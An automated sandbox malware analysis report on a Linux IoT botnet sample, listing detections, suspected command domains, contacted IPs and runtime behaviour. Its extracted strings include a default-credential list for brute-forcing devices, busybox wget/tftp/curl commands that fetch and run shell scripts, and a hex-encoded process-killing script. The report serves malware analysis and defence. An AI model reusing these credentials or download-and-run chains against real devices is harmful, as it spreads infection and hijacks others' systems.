Linux Analysis Report
la.bot.sparc.elf

Overview

General Information

Sample name: la.bot.sparc.elf
Analysis ID: 1543667
MD5: ca1811a7c29c330b5b8a5d2c61312897
SHA1: 6cd4f304794220051b0a47085092d8e656922adb
SHA256: 5e66de340b01f597b8b017061eea3a5c543e085b65a598b629224b7c5fe42566
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Sends malformed DNS queries
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.sparc.elf ReversingLabs: Detection: 28%
Found strings indicative of a multi-platform dropper
Source: la.bot.sparc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sparc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64/
Source: la.bot.sparc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: 21savage.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: nineteen.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: ru.coziest.lol. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: f.codingdrunk. . [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: imaverygoodbadboy.libre. [malformed]
Sample listens on a socket
Source: /tmp/la.bot.sparc.elf (PID: 5530) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 90.51.167.94
Source: unknown TCP traffic detected without corresponding DNS query: 90.51.167.94
Source: unknown TCP traffic detected without corresponding DNS query: 168.157.235.250
Source: unknown TCP traffic detected without corresponding DNS query: 168.157.235.250
Source: unknown TCP traffic detected without corresponding DNS query: 183.187.103.240
Source: unknown TCP traffic detected without corresponding DNS query: 183.187.103.240
Source: unknown TCP traffic detected without corresponding DNS query: 90.171.56.79
Source: unknown TCP traffic detected without corresponding DNS query: 59.215.5.48
Source: unknown TCP traffic detected without corresponding DNS query: 90.171.56.79
Source: unknown TCP traffic detected without corresponding DNS query: 59.215.5.48
Source: unknown TCP traffic detected without corresponding DNS query: 13.59.82.89
Source: unknown TCP traffic detected without corresponding DNS query: 54.182.180.173
Source: unknown TCP traffic detected without corresponding DNS query: 13.59.82.89
Source: unknown TCP traffic detected without corresponding DNS query: 120.6.247.249
Source: unknown TCP traffic detected without corresponding DNS query: 54.182.180.173
Source: unknown TCP traffic detected without corresponding DNS query: 8.163.29.213
Source: unknown TCP traffic detected without corresponding DNS query: 120.6.247.249
Source: unknown TCP traffic detected without corresponding DNS query: 189.107.88.128
Source: unknown TCP traffic detected without corresponding DNS query: 8.163.29.213
Source: unknown TCP traffic detected without corresponding DNS query: 130.82.182.212
Source: unknown TCP traffic detected without corresponding DNS query: 189.107.88.128
Source: unknown TCP traffic detected without corresponding DNS query: 14.112.61.131
Source: unknown TCP traffic detected without corresponding DNS query: 130.82.182.212
Source: unknown TCP traffic detected without corresponding DNS query: 73.197.190.62
Source: unknown TCP traffic detected without corresponding DNS query: 14.112.61.131
Source: unknown TCP traffic detected without corresponding DNS query: 147.140.198.211
Source: unknown TCP traffic detected without corresponding DNS query: 73.197.190.62
Source: unknown TCP traffic detected without corresponding DNS query: 218.20.50.123
Source: unknown TCP traffic detected without corresponding DNS query: 18.102.245.237
Source: unknown TCP traffic detected without corresponding DNS query: 147.140.198.211
Source: unknown TCP traffic detected without corresponding DNS query: 160.98.30.198
Source: unknown TCP traffic detected without corresponding DNS query: 109.36.115.197
Source: unknown TCP traffic detected without corresponding DNS query: 218.20.50.123
Source: unknown TCP traffic detected without corresponding DNS query: 4.53.45.220
Source: unknown TCP traffic detected without corresponding DNS query: 18.102.245.237
Source: unknown TCP traffic detected without corresponding DNS query: 209.250.153.31
Source: unknown TCP traffic detected without corresponding DNS query: 160.98.30.198
Source: unknown TCP traffic detected without corresponding DNS query: 202.3.97.50
Source: unknown TCP traffic detected without corresponding DNS query: 109.36.115.197
Source: unknown TCP traffic detected without corresponding DNS query: 24.243.117.145
Source: unknown TCP traffic detected without corresponding DNS query: 4.53.45.220
Source: unknown TCP traffic detected without corresponding DNS query: 92.197.118.72
Source: unknown TCP traffic detected without corresponding DNS query: 209.250.153.31
Source: unknown TCP traffic detected without corresponding DNS query: 8.176.107.70
Source: unknown TCP traffic detected without corresponding DNS query: 202.3.97.50
Source: unknown TCP traffic detected without corresponding DNS query: 92.4.68.114
Source: unknown TCP traffic detected without corresponding DNS query: 24.243.117.145
Source: unknown TCP traffic detected without corresponding DNS query: 79.12.42.182
Source: unknown TCP traffic detected without corresponding DNS query: 92.197.118.72
Source: unknown TCP traffic detected without corresponding DNS query: 186.135.220.70
Source: global traffic DNS traffic detected: DNS query: 21savage.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: nineteen.libre
Source: global traffic DNS traffic detected: DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: f.codingdrunk.
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate
Source: global traffic DNS traffic detected: DNS query: www.codingdrunk.in
Source: global traffic DNS traffic detected: DNS query: nineteen.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: DNS query: ru.coziest.lol. [malformed]
Source: global traffic DNS traffic detected: DNS query: f.codingdrunk. . [malformed]
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn
Source: global traffic DNS traffic detected: DNS query: ru.coziest.lol
Source: global traffic DNS traffic detected: DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: 75cents.libre
Source: global traffic DNS traffic detected: DNS query: 2joints.libre
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.sparc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sparc.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sparc.elf (PID: 5532) SIGKILL sent: pid: 933, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.evad.linELF@0/0@216/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.sparc.elf (PID: 5533) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.sparc.elf (PID: 5533) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5533) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5533) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5533) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5533) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5533) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5533) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5533) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5533) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5533) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/911/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/804/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/133/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/931/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/812/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/933/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/268/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/271/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/273/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/275/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/276/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/277/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/279/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/158/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/280/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/282/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/283/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/284/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5532) File opened: /proc/285/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.sparc.elf (PID: 5533) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sparc.elf (PID: 5530) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sparc.elf, 5530.1.0000561a6c52b000.0000561a6c5b1000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 5530.1.0000561a6c52b000.0000561a6c5b1000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 5530.1.00007ffe2cbb7000.00007ffe2cbd8000.rw-.sdmp Binary or memory string: Vx86_64/usr/bin/qemu-sparc/tmp/la.bot.sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sparc.elf
Source: la.bot.sparc.elf, 5530.1.00007ffe2cbb7000.00007ffe2cbd8000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
128.96.45.74
 unknown United States
116 TELCORDIAUS false
145.130.22.145
 unknown Netherlands
1136 KPNKPNNationalEU false
128.187.200.222
 unknown United States
6510 BYUUS false
212.111.23.64
 unknown Czech Republic
25424 INEXT-CZInterneXt2000sroCZ false
88.139.140.96
 unknown France
8228 CEGETEL-ASFR false
33.178.58.46
 unknown United States
2686 ATGS-MMD-ASUS false
6.181.208.103
 unknown United States
3356 LEVEL3US false
2.77.46.30
 unknown Kazakhstan
29355 KCELL-ASKZ false
27.33.207.155
 unknown Australia
7545 TPG-INTERNET-APTPGTelecomLimitedAU false
163.151.39.79
 unknown United States
36161 WESTCHESTERCOUNTY-NYUS false
111.66.82.140
 unknown China
2510 INFOWEBFUJITSULIMITEDJP false
182.149.42.231
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
105.167.98.127
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
177.72.219.58
 unknown unknown
269717 RAPIDEXNETLTDABR false
111.190.101.184
 unknown Japan 37903 EMOBILEYmobileCorporationJP false
80.139.201.90
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
2.107.96.242
 unknown Denmark
3292 TDCTDCASDK false
98.74.118.33
 unknown United States
6389 BELLSOUTH-NET-BLKUS false
174.208.233.118
 unknown United States
22394 CELLCOUS false
80.9.145.111
 unknown France
3215 FranceTelecom-OrangeFR false
187.100.242.34
 unknown Brazil
27699 TELEFONICABRASILSABR false
13.110.111.233
 unknown United States
14340 SALESFORCEUS false
161.47.3.153
 unknown United States
19994 RACKSPACEUS false
33.17.42.17
 unknown United States
2686 ATGS-MMD-ASUS false
51.122.46.22
 unknown United Kingdom
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
173.62.255.219
 unknown United States
701 UUNETUS false
168.73.238.77
 unknown United States
265240 ULTRANETSERVICOSEMINTERNETLTDABR false
8.188.166.164
 unknown Singapore
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
67.78.27.107
 unknown United States
33363 BHN-33363US false
28.63.206.221
 unknown United States
7922 COMCAST-7922US false
107.75.244.63
 unknown United States
7018 ATT-INTERNET4US false
83.17.88.140
 unknown Poland
5617 TPNETPL false
35.154.141.94
 unknown United States
16509 AMAZON-02US false
49.8.123.98
 unknown Korea Republic of
9858 KRNICNETKoreaInternetSecurityAgencyKR false
63.53.39.103
 unknown United States
701 UUNETUS false
101.83.13.166
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
161.177.27.227
 unknown United States
10695 WAL-MARTUS false
173.7.149.240
 unknown United States
10507 SPCSUS false
101.234.204.120
 unknown Australia
45577 INTERVOLVE-MELBOURNE-AS-APIntervolvePtyLtdAU false
46.244.245.96
 unknown Germany
8767 MNET-ASGermanyDE false
190.254.50.177
 unknown Colombia
3816 COLOMBIATELECOMUNICACIONESSAESPCO false
29.82.157.209
 unknown United States
7922 COMCAST-7922US false
186.64.17.53
 unknown Argentina
701 UUNETUS false
156.111.211.78
 unknown United States
395139 NYP-INTERNETUS false
65.156.124.99
 unknown United States
393658 ATYPONUS false
153.103.159.84
 unknown United States
1519 DNIC-AS-01519US false
174.214.108.12
 unknown United States
22394 CELLCOUS false
176.214.35.83
 unknown Russian Federation
21353 ARTCOMS-ASRU false
107.218.139.21
 unknown United States
7018 ATT-INTERNET4US false
26.186.69.65
 unknown United States
7922 COMCAST-7922US false
92.71.180.85
 unknown Netherlands
286 KPNNL false
9.61.138.9
 unknown United States
3356 LEVEL3US false
158.50.235.33
 unknown France
10806 AFP-NETUS false
153.222.3.180
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
52.94.132.28
 unknown United States
16509 AMAZON-02US false
103.92.122.54
 unknown India
135718 DISHAWAVESINFONET-ASDISHAWAVESINFONETPVTLTDIN false
102.102.36.26
 unknown Morocco
36925 ASMediMA false
86.175.248.243
 unknown United Kingdom
